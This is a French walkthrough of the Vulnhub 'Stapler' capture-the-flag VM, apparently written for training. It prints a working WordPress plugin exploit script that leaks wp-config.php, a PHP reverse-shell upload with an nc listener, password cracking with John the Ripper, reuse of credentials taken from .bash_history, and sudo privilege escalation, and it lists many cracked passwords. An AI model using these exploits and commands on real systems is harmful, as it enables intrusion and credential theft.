**Stapler - Write Up**
__Reconnaissance__
nmap -sS -A 192.168.43.28
port 21 vsftpd 2.0.8
anonymous login allowed
port 22 ssh
port 53 dnsmasq 2.75
port 80 http
port 139 netbios-ssn Samba smbd 3.X workgroup RED
port 666 doom?
port 3306 mysql 5.7.12
port 12380 http
__Exploitation Samba__
On commence par lister les partages disponibles sur le samba :
smbclient -L 192.168.43.28
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.9-Ubuntu]
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
kathy Disk Fred, What are we doing here?
tmp Disk All temporary files should be stored here
IPC$ IPC IPC Service (red server (Samba, Ubuntu))
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.9-Ubuntu]
Server Comment
--------- -------
RED red server (Samba, Ubuntu)
Workgroup Master
--------- -------
WORKGROUP RED
On liste les fichiers présent dans le partage kathy :
smbclient \\\\192.168.43.28\\kathy
smb: \> dir
. D 0 Fri Jun 3 18:52:52 2016
.. D 0 Mon Jun 6 23:39:56 2016
kathy_stuff D 0 Sun Jun 5 17:02:27 2016
backup D 0 Sun Jun 5 17:04:14 2016
\kathy_stuff
. D 0 Sun Jun 5 17:02:27 2016
.. D 0 Fri Jun 3 18:52:52 2016
todo-list.txt N 64 Sun Jun 5 17:02:27 2016
\backup
. D 0 Sun Jun 5 17:04:14 2016
.. D 0 Fri Jun 3 18:52:52 2016
vsftpd.conf N 5961 Sun Jun 5 17:03:45 2016
wordpress-4.tar.gz N 6321767 Mon Apr 27 19:14:46 2015
On récupère le contenu de backup :
smb: \> mget backup\
getting file \backup\vsftpd.conf of size 5961 as vsftpd.conf (727,7 KiloBytes/sec) (average 727,7 KiloBytes/sec)
getting file \backup\wordpress-4.tar.gz of size 6321767 as wordpress-4.tar.gz (22449,4 KiloBytes/sec) (average 21835,4 KiloBytes/sec)
smb: \>
__Exploitation web__
Dans le fichier robots.txt :
User-agent: *
Disallow: /admin112233/
Disallow: /blogblog/
Un wordpress est disponible dans le dossier :
http://192.168.43.28:12380/blogblog/
{{ :vm:wordpress_stapler.png?nolink |}}
Avec l'outil wpscan on obtient les informations suivantes :
- Tourne sur Wordpress 4.2.1
- Le plugin advanced video faillible
En cherchant un peut sur exploit-db on trouver cet [[https://www.exploit-db.com/exploits/39646/ | exploit]].
Il permet de récupérer le fichier wp-config.php dans une image
On le modifie pour notre usage :
import ssl
import random
import urllib2
import re
ssl._create_default_https_context = ssl._create_unverified_context
url = "https://192.168.43.28:12380/blogblog" # insert url to wordpress
randomID = long(random.random() * 100000000000000000L)
objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
content = objHtml.readlines()
for line in content:
numbers = re.findall(r'\d+',line)
id = numbers[-1]
id = int(id) / 10
objHtml = urllib2.urlopen(url + '/?p=' + str(id))
content = objHtml.readlines()
for line in content:
if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line:
urls=re.findall('"(https?://.*?)"', line)
print urllib2.urlopen(urls[0]).read()
Une fois exécuté , l'image est disponible dans le wp-content/uploads.
On la récupère :
wget https://192.168.43.28:12380/blogblog/wp-content/uploads/1505311909.jpeg --no-check-certificate
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'plbkac');
On se connecte directement à la base de donnée avec l'outil : heidisql
{{ :vm:heidisql_stapler.png?nolink |}}
On créé un nouvel utilisateur , on chiffre sont mot de passe en md5
{{ :vm:heidisql_stapler2.png?nolink |}}
Dans les wp_usermeta on modifie la ligne wp_capabilities pour être admin :
wp_capabilities a:1:{s:13:"administrator";b:1;}
On peut casser les autres mot de passes :
./john --wordlist=~/outils/wordlist/rockyou.txt ~/vulnhub/Stapler/cred
Using default input encoding: UTF-8
Loaded 16 password hashes with 16 different salts (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cookie (scott)
coolgirl (kathy)
monkey (harry)
football (garry)
washere (barry)
incorrect (John)
thumb (tim)
0520 (Pam)
Pour mettre notre reverse shell sur le serveur :
Dans l'onglet plugin on met : new
On upload notre reverseshell.php -> il s'upload dans le dossier upload mais il n'est pas installé comme plugin
Pour y accéder https://192.168.43.28:12380/blogblog/wp-content/uploads/php-reverse-shell.php
On ouvre un netcat en écoute en local :
nc -lvp 1234
__Exploitation système & Élévation de privilège__
On chercher un .bash_history accessible :
find -name ".bash_history" -exec cat {} \;
sshpass -p thisimypassword ssh JKanode@localhost
apt-get install sshpass
sshpass -p JZQuyIN5 peter@localhost
Super l'utilisateur à tapé son mot de passe en clair : **JZQuyIN5**
On se connecte en ssh avec l'user : peter
sudo -l
l'utilisateur appartient au groupe root
On affiche le flag :
cat flag.txt
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
.-'''''-.
|'-----'|
|-.....-|
| |
| |
_,._ | |
__.o` o`"-. | |
.-O o `"-.o O )_,._ | |
( o O o )--.-"`O o"-.`'-----'`
'--------' ( o O o)
`----------`
b6b545dc11b7a270f4bad23432190c75162c4a2
Pour finir complètement la vm , j'ai cassé les mots de passes des autres utilisateurs :
L'outil unshadow de la suite John The Ripper permet de préparer les mots de passes à cracker pour john.
unshadow passwd shadow > cred_a_crack
john cred_a_crack
Le résultat
password11 (SStroud)
1password (CCeaser)
cookie (JBare)
letmein (MFrei)
qwerty (Drew)
red (jamie)
robrob (RNunemaker)